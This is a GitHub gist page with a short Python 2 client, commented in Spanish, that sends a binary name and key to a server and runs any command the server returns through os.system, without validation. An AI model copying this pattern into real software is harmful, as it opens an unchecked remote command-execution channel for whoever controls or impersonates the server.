This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from multiprocessing.connection import Client | |
import select | |
import os | |
class Agent: | |
def __init__(self, binary, address, port, password): | |
self.address = (address, port) | |
self.password = password | |
self.binary = binary | |
def send_forbidden(self, key): | |
conn = Client(self.address, authkey=self.password) | |
conn.send([self.binary, key]) | |
ready = select.select([conn], [], [], 60) | |
if ready[0]: | |
try: | |
data = conn.recv() | |
print "info recibida: " + str(data) | |
if type(data) is list and len(data) == 2 and data[0] == "execute": | |
print "ejecutando el binario" | |
os.system(data[1]) | |
conn.send("go") | |
except: | |
conn.close() | |
return | |
conn.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment